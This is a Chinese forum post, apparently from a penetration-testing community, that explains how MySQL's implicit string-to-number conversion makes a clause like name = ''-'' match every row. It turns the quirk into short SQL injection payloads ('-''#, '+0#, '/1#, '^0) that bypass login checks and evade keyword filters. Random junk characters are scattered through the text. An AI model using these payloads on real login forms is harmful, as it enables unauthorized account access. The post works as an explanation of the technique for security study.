| 我们先来看这样一个场景。 有以下表结构: / ?7 B+ m5 O) B! Y$ q/ } mysql> desc admin; +----------+--------------+------+-----+---------+----------------+ | Field | Type | Null | Key | Default | Extra | +----------+--------------+------+-----+---------+----------------+ | id | mediumint(9) | NO | PRI | NULL | auto_increment | | name | char(32) | NO | UNI | NULL | |: l! }' e4 g! h9 Q) H! { | password | char(32) | NO | UNI | NULL | |9 C {3 I4 ?1 ~# |- S' s2 N +----------+--------------+------+-----+---------+----------------+ 3 rows in set (0.00 sec) 执行select * from admin;,成功返回所有记录内容。 3 z( h# M3 h. M$ e8 a. \ +----+--------+----------------------------------+ | id | name | password |7 _5 d0 |& h O +----+--------+----------------------------------++ t! `7 y" R% R$ {' @ | 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |+ |' `! a5 H, p$ a. M | 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |& A9 f, ^; {* Q& v% x | 4 | n00b | ff80e8508d39047460921792273533a4 | +----+--------+----------------------------------++ Z/ j0 O2 u7 B l5 h% m 3 rows in set (0.00 sec)5 H, S4 B/ a W& R 执行select * from admin where name=”;,没有匹配到任何记录。 % U3 T8 N% f# c0 g/ x mysql> select * from admin where name = ''; Empty set (0.00 sec)$ Y" J; }( q6 m( Z5 Z& c 那么我们来执行select * from admin where name = ”-”;, e- z- B8 K7 B" ?# l 0 Y2 ^5 U: Y" l% p" T9 j- g +----+--------+----------------------------------+ | id | name | password | +----+--------+----------------------------------+ | 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |3 V3 w; a5 e0 l0 ^! [ | 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |& d. j! ]7 F8 U# g | 4 | n00b | ff80e8508d39047460921792273533a4 | +----+--------+----------------------------------+ 3 rows in set, 3 warnings (0.00 sec) 可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息: . E0 b* `2 z5 X) T! E . j. ^# J' L- R% Q" U1 {# r. Q mysql> show warnings;7 ^5 J* o5 V: j/ a0 z/ `+ x +---------+------+------------------------------------------, w! C, S, m1 j! ?" E; k0 t | Level | Code | Message +---------+------+------------------------------------------ | Warning | 1292 | Truncated incorrect DOUBLE value: 'admin | Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s$ Y- K: t) u1 ^" m0 H | Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b +---------+------+------------------------------------------8 x- S$ P# v& l8 r! v 3 rows in set (0.00 sec) 提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。 " ]$ P+ E1 B" \- W8 Z; T0 t mysql> select ''-'';4 _) ~' v+ I- U, A+ y +-------+ | ''-'' |' E* d( U( H: n9 ~) c +-------+ | 0 | +-------+! I7 L4 p; {& a: {4 R1 t n3 L 1 row in set (0.00 sec)" [! h& H& u9 F7 g# r3 d 返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0: ( S2 M: W% [7 |$ P! f2 W% m$ E mysql> select CAST((select name from admin limit 1,1) as DECIMAL);; i4 k7 q, n0 S; s! P +-----------------------------------------------------+ | CAST((select name from admin limit 1,1) as DECIMAL) | +-----------------------------------------------------+5 ]; _) n) ?; _& q4 P5 H | 0 |: \8 v3 b+ _1 b& S8 t5 M +-----------------------------------------------------+ 1 row in set, 1 warning (0.00 sec) 因此where语句构成了相等的条件,where 0=”=”,记录被返回。 - `2 a+ K& x4 K7 p h z( ]. y SQL注入场景: http://www.sqlzoo.net/hack/ 9 b2 h$ q7 b* \3 Y0 } 5 Q+ E3 L! h: O y; z 0 c" b+ z) k& d& v 如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。 那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。 \. ?, c9 C1 |" K: R& l f5 M0 c2 F5 L) s : a$ b; D. I4 v* s1 r 仅仅在name子段输入’-”#,password留空,即可绕过登录验证。 - x2 m" P& _ ]! M % m$ E" H' l% w' }/ d) I) f 除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可, d+ J" d1 V- ~ S1 r) E * R. i, W: Z/ ?& S mysql> select ''/1;1 c5 J8 S% \/ t/ C4 P" E! N5 @$ } +------+3 j+ a3 O( q" T% M7 q | ''/1 | +------+ | 0 | +------+1 R0 x( J2 o# S* W) P& M" q; _. r 1 row in set (0.00 sec) 类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。 利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。 |
| 欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) | Powered by Discuz! X3.2 |